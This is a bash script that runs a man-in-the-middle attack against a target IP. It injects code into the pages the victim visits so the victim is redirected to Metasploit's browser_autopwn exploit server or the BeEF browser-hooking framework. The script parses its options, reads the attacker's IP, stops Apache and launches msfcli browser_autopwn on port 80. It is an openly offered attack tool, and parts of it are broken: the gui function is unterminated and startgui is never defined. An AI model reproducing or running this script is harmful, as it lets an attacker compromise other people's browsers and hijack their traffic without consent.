

function help() {
   echo -e "Script made by Henkhooft - http://henkhooft.blogspot.com \n"
   echo -e "This scripts starts a man in the middle attack and injects code in pages a victim visits so it automaticly redirects to browserexploits or the Beef framework.\n"
   echo "example: sudo bash browser_autopwn.sh -t [IP] -g [Interface] -a -b -i -h
   -t    --- Target IP Address e.g. 192.168.1.5
   -g    --- GatewayInterface e.g. eth0
   -a    --- Use metasploit browser_autopwn module
   -b    --- Use the Beef framework
   -i    --- Run interactive mode to easy setup an attack
   -h    --- Display this help"
   exit 1
}

function gui() {
   echo -e "




}

while getopts "t:g:abih" OPTIONS; do
  case ${OPTIONS} in
    t     ) export targetIP=$OPTARG;;
    g     ) export gatewayInterface=$OPTARG;;
    a     ) export autopwn="true";;
    b     ) export beef="true";;
    i     ) export gui="true";;
    h     ) help;;
    *     ) echo "[-] Unknown option.";;
  esac
done

if [ $gui == "true" ]; then
      if [ $autopwn == "true" ]; then
         echo "[-] You can only have -i with no other arguments supplied"
         echo "[-] Exiting..."
         exit 1
      fi
      if [ $beef == "true" ]; then
         echo "[-] You can only have -i with no other arguments supplied"
         echo "[-] Exiting..."
         exit 1
      fi
      startgui
fi

export ourIP=`ifconfig $gatewayInterface | awk '/inet addr/ {split ($2,A,":"); print A[2]}'`
   if [ -z "$ourIP" ]; then
      echo "[-] IP Problem."
      echo "You haven't got a IP address on $gatewayInterface. Try running the script again, once you have!"
      exit 1
   fi






clear
echo "[>] Stopping the apache webserver"
sleep 2
/etc/init.d/apache2 stop
clear
echo "[*] Apache server stopped"

if [ "$autopwn" == "true" ]; then
   echo "[>] Starting metasploit browser_autopwn"
   msfcli server/browser_autopwn LHOST=$ourIP URIPATH=/ SRVPORT=80 SRVHOST=$ourIP E
fi






